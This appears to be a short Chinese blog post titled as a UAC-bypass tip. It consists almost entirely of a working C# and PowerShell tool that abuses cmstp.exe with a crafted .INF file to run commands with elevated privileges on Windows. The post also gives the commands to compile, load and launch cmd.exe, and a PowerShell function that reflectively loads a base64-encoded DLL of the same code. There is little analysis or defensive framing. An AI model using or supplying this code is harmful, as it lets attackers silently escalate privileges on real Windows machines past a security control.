bypassUAC的一个Tips

/* 
UAC Bypass using CMSTP.exe microsoft binary

Based on previous work from Oddvar Moe
https://oddvar.moe/2017/08/15/research-on-cmstp-exe/

And this PowerShell script of Tyler Applebaum
https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1

Code author: Andre Marques (@_zc00l)
*/
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Windows;
using System.Runtime.InteropServices;

public class CMSTPBypass
{
    // Our .INF file data!
    public static string InfData = @"[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection

[RunPreSetupCommandsSection]
; Commands Here will be run Before Setup Begins to install
REPLACE_COMMAND_LINE
taskkill /IM cmstp.exe /F

[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7

[AllUSer_LDIDSection]
""HKLM"", ""SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE"", ""ProfileInstallPath"", ""%UnexpectedError%"", """"

[Strings]
ServiceName=""CorpVPN""
ShortSvcName=""CorpVPN""

";

    [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
    [DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);

    public static string BinaryPath = "c:\\windows\\system32\\cmstp.exe";

    /* Generates a random named .inf file with command to be executed with UAC privileges */
    public static string SetInfFile(string CommandToExecute)
    {
        string RandomFileName = Path.GetRandomFileName().Split(Convert.ToChar("."))[0];
        string TemporaryDir = "C:\\windows\\temp";
        StringBuilder OutputFile = new StringBuilder();
        OutputFile.Append(TemporaryDir);
        OutputFile.Append("\\");
        OutputFile.Append(RandomFileName);
        OutputFile.Append(".inf");
        StringBuilder newInfData = new StringBuilder(InfData);
        newInfData.Replace("REPLACE_COMMAND_LINE", CommandToExecute);
        File.WriteAllText(OutputFile.ToString(), newInfData.ToString());
        return OutputFile.ToString();
    }

    public static bool Execute(string CommandToExecute)
    {
        if(!File.Exists(BinaryPath))
        {
            Console.WriteLine("Could not find cmstp.exe binary!");
            return false;
        }
        StringBuilder InfFile = new StringBuilder();
        InfFile.Append(SetInfFile(CommandToExecute));

        Console.WriteLine("Payload file written to " + InfFile.ToString());
        ProcessStartInfo startInfo = new ProcessStartInfo(BinaryPath);
        startInfo.Arguments = "/au " + InfFile.ToString();
        startInfo.UseShellExecute = false;
        Process.Start(startInfo);

        IntPtr windowHandle = new IntPtr();
        windowHandle = IntPtr.Zero;
        do {
            windowHandle = SetWindowActive("cmstp");
        } while (windowHandle == IntPtr.Zero);

        System.Windows.Forms.SendKeys.SendWait("{ENTER}");
        return true;
    }

    public static IntPtr SetWindowActive(string ProcessName)
    {
        Process[] target = Process.GetProcessesByName(ProcessName);
        if(target.Length == 0) return IntPtr.Zero;
        target[0].Refresh();
        IntPtr WindowHandle = new IntPtr();
        WindowHandle = target[0].MainWindowHandle;
        if(WindowHandle == IntPtr.Zero) return IntPtr.Zero;
        SetForegroundWindow(WindowHandle);
        ShowWindow(WindowHandle, 5);
        return WindowHandle;
    }
}

Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwd\Source.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "UAC-Bypass.dll"

PS C:\> [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("$pwd\UAC-Bypass.dll"))

PS C:\> [CMSTPBypass]::Execute("C:\Windows\System32\cmd.exe")

function Bypass-UAC
{
    Param(
        [Parameter(Mandatory = $true, Position = 0)]
        [string]$Command
    )
    if(-not ([System.Management.Automation.PSTypeName]'CMSTPBypass').Type)
    {
/*
* 提示：该行代码过长，系统自动注释不进行高亮。一键复制会移除系统注释 
* [Reflection.Assembly]::Load([Convert]::FromBase64String("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QnlwYXNzLmRsbABDTVNUUEJ5cGFzcwBtc2NvcmxpYgBTeXN0ZW0AT2JqZWN0AEluZkRhdGEAU2hvd1dpbmRvdwBTZXRGb3JlZ3JvdW5kV2luZG93AEJpbmFyeVBhdGgAU2V0SW5mRmlsZQBFeGVjdXRlAFNldFdpbmRvd0FjdGl2ZQAuY3RvcgBoV25kAG5DbWRTaG93AENvbW1hbmRUb0V4ZWN1dGUAUHJvY2Vzc05hbWUAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAENNU1RQLVVBQy1CeXBhc3MAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAERsbEltcG9ydEF0dHJpYnV0ZQB1c2VyMzIuZGxsAFN5c3RlbS5JTwBQYXRoAEdldFJhbmRvbUZpbGVOYW1lAENoYXIAQ29udmVydABUb0NoYXIAU3RyaW5nAFNwbGl0AFN5c3RlbS5UZXh0AFN0cmluZ0J1aWxkZXIAQXBwZW5kAFJlcGxhY2UAVG9TdHJpbmcARmlsZQBXcml0ZUFsbFRleHQARXhpc3RzAENvbnNvbGUAV3JpdGVMaW5lAENvbmNhdABTeXN0ZW0uRGlhZ25vc3RpY3MAUHJvY2Vzc1N0YXJ0SW5mbwBzZXRfQXJndW1lbnRzAHNldF9Vc2VTaGVsbEV4ZWN1dGUAUHJvY2VzcwBTdGFydABJbnRQdHIAWmVybwBvcF9FcXVhbGl0eQBTeXN0ZW0uV2luZG93cy5Gb3JtcwBTZW5kS2V5cwBTZW5kV2FpdABHZXRQcm9jZXNzZXNCeU5hbWUAUmVmcmVzaABnZXRfTWFpbldpbmRvd0hhbmRsZQAuY2N0b3IAAAMuAAAfQwA6AFwAdwBpAG4AZABvAHcAcwBcAHQAZQBtAHAAAANcAAAJLgBpAG4AZgAAKVIARQBQAEwAQQBDAEUAXwBDAE8ATQBNAEEATgBEAF8ATABJAE4ARQAAQUMAbwB1AGwAZAAgAG4AbwB0ACAAZgBpAG4AZAAgAGMAbQBzAHQAcAAuAGUAeABlACAAYgBpAG4AYQByAHkAIQAAMVAAYQB5AGwAbwBhAGQAIABmAGkAbABlACAAdwByAGkAdAB0AGUAbgAgAHQAbwAgAAAJLwBhAHUAIAAAC2MAbQBzAHQAcAAAD3sARQBOAFQARQBSAH0AAISPWwB2AGUAcgBzAGkAbwBuAF0ADQAKAFMAaQBnAG4AYQB0AHUAcgBlAD0AJABjAGgAaQBjAGEAZwBvACQADQAKAEEAZAB2AGEAbgBjAGUAZABJAE4ARgA9ADIALgA1AA0ACgANAAoAWwBEAGUAZgBhAHUAbAB0AEkAbgBzAHQAYQBsAGwAXQANAAoAQwB1AHMAdABvAG0ARABlAHMAdABpAG4AYQB0AGkAbwBuAD0AQwB1AHMAdABJAG4AcwB0AEQAZQBzAHQAUwBlAGMAdABpAG8AbgBBAGwAbABVAHMAZQByAHMADQAKAFIAdQBuAFAAcgBlAFMAZQB0AHUAcABDAG8AbQBtAGEAbgBkAHMAPQBSAHUAbgBQAHIAZQBTAGUAdAB1AHAAQwBvAG0AbQBhAG4AZABzAFMAZQBjAHQAaQBvAG4ADQAKAA0ACgBbAFIAdQBuAFAAcgBlAFMAZQB0AHUAcABDAG8AbQBtAGEAbgBkAHMAUwBlAGMAdABpAG8AbgBdAA0ACgA7ACAAQwBvAG0AbQBhAG4AZABzACAASABlAHIAZQAgAHcAaQBsAGwAIABiAGUAIAByAHUAbgAgAEIAZQBmAG8AcgBlACAAUwBlAHQAdQBwACAAQgBlAGcAaQBuAHMAIAB0AG8AIABpAG4AcwB0AGEAbABsAA0ACgBSAEUAUABMAEEAQwBFAF8AQwBPAE0ATQBBAE4ARABfAEwASQBOAEUADQAKAHQAYQBzAGsAawBpAGwAbAAgAC8ASQBNACAAYwBtAHMAdABwAC4AZQB4AGUAIAAvAEYADQAKAA0ACgBbAEMAdQBzAHQASQBuAHMAdABEAGUAcwB0AFMAZQBjAHQAaQBvAG4AQQBsAGwAVQBzAGUAcgBzAF0ADQAKADQAOQAwADAAMAAsADQAOQAwADAAMQA9AEEAbABsAFUAUwBlAHIAXwBMAEQASQBEAFMAZQBjAHQAaQBvAG4ALAAgADcADQAKAA0ACgBbAEEAbABsAFUAUwBlAHIAXwBMAEQASQBEAFMAZQBjAHQAaQBvAG4AXQANAAoAIgBIAEsATABNACIALAAgACIAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAQQBwAHAAIABQAGEAdABoAHMAXABDAE0ATQBHAFIAMwAyAC4ARQB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| Out-Null
*/
    }
    [CMSTPBypass]::Execute($Command)
}